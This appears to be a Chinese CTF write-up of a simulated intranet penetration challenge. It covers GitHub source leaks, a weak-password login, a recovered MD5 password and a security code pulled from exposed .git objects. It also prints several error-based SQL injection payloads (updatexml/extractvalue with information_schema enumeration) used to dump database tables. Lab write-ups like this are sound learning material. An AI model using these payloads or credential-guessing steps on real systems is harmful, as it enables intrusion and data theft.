我个人感觉这次题目质量是可以的,很模拟现实渗透场景,从外网到内网到域控,到达一定阶段给个flag
但是也有吐槽的点,主办方给8个小时,一共有12个关卡,到比赛结束,解题数量最多是5道题,到后面主办方急了,后面很多关还没有人做出来,然后主办方就疯狂给tip,类似于直接告诉你答案。。。很无语
前期信息收集
扫描+手工,整理链接
http://f03252ef-139e-9b27-9a82-3dd3f132ccad.dgctf.ichunqiu.com/home/index.php /home/about.php?id=1 /home/about.php?id=2 /home/services.php /home/portfolio.php /home/pricing.php /home/contact.php /home/administrator/ /home/administrator/index.php?action=login /home/administrator/inc/config.php /manager/ /manager/index.php /manager/inc/config.php /user/ /user/index.php /user/upload/
IP无法直接访问网站,应该是根据域名控制,扫描的是主机信息,与该web题联系不大
翻翻js发现敏感信息
上github搜用户名
https://github.com/l1Kai/user/
得到config.php的源码,以及第一个flag
运行试试,得到数据的解密方式
发现是调用eval运行的,看看到底运行了什么东西
运行得到,eval中运行的东西,也就是config.php的源码
该源码对后面解题没什么帮助
继续看github的commit记录
用同样的方式解密其余的config.php,得到第二个flag
这里的PRO_KEY对后面解题有帮助
社工+弱口令
github泄露了邮箱
在其中一个后台 http://f03252ef-139e-9b27-9a82-3dd3f132ccad.dgctf.ichunqiu.com/user/index.php 用邮箱 likai@youngin.uu.me 密码 likai
成功登陆,拿到第三个flag
然后在工作选项中有一个可以更新项目的点,这里就需要之前的PRO_KEY
username存在报错注入
'or(updatexml(2,concat(0x7e,(user())),0))or'
'or(linestring(proname))or'
得到当前库名,表名,列名
把已知列的内容显示出来
'or(updatexml(2,concat(0x7e,(select(group_concat(proname))from(kvm1.m_notice))),0))or'
'or(updatexml(2,concat(0x7e,(select(group_concat(username))from(kvm1.m_notice))),0))or'
'or(updatexml(2,concat(0x7e,(select(group_concat(content))from(kvm1.m_notice))),0))or'
感觉怪怪的,什么乱七八糟的东西
莫非flag在别的表?报错得到m_admin,m_user,m_notice,u_user 四个表
'or(updatexml(1,concat(0x3a,(select%0agroup_concat(distinct(table_name))from%0ainformation_schema.tables%0awhere%0atable_schema=database())),1))or'
'or(updatexml(1,concat(0x3a,(select%0agroup_concat(distinct(column_name))from%0ainformation_schema.columns%0awhere%0atable_name='m_admin')),1))or'
最后发现flag在m_user表,但是报错注入一次只能显示32位,这里用substr()函数分两次显示
likai%40youngin.uu.me'or(extractvalue(1,concat(0x7e,(select(substr(group_concat(password),1))from(m_user)))))or'
likai%40youngin.uu.me'or(extractvalue(1,concat(0x7e,(select(substr(group_concat(password),15))from(m_user)))))or'
拼接得到第4个flag
flag{022f3f7f-a212-4456-b8c5-ce67ae9c2b83}
这次比赛由于时间和能力原因,只做出4道题
赛后交流,得知第5个flag是在m_admin表里面得到管理员的账号密码
wangfei 2389pass 安全码
登陆另一个后台得到第5个flag
第6个flag,还没人解出来,好像是文件上传+文件包含,毕竟时间有限
总结,以后打CTF的前一天晚上一定要早睡,23333
下为第五题补充(来自于 Pr0ph3t):
上一步拿到了m_admin的账号密码
其中有个用户叫wangfei 密码网上md5碰撞得到2389pass
admin的密码无法md5碰撞
然后去扫目录得到的manager目录登录发现还要安全码。。。
无奈再扫一遍目录发现.git存在
但是却没有index无法扒源码下来
但是.git进去之后却有index.html提示有objects/xxx
用过git的我们都知道其实objects就是每次add commit的代码片段
这是利用zlib的deflate压缩的https://ring0.me/2015/05/recover-code-from-corrupt-git-repo/
下载下来这个objects之后直接binwalk就可以识别并解压缩了解压缩出来之后是安全码,这里有坑。。。
我踩了好久。。。。
这个安全码是不用碰撞md5的。。。
以至于我碰撞完之后一直拿来登录都没用。。。
直接扔进去登录就行
最后一个flag没有记录。。。临近比赛结束。。。一刷新就没有了。。。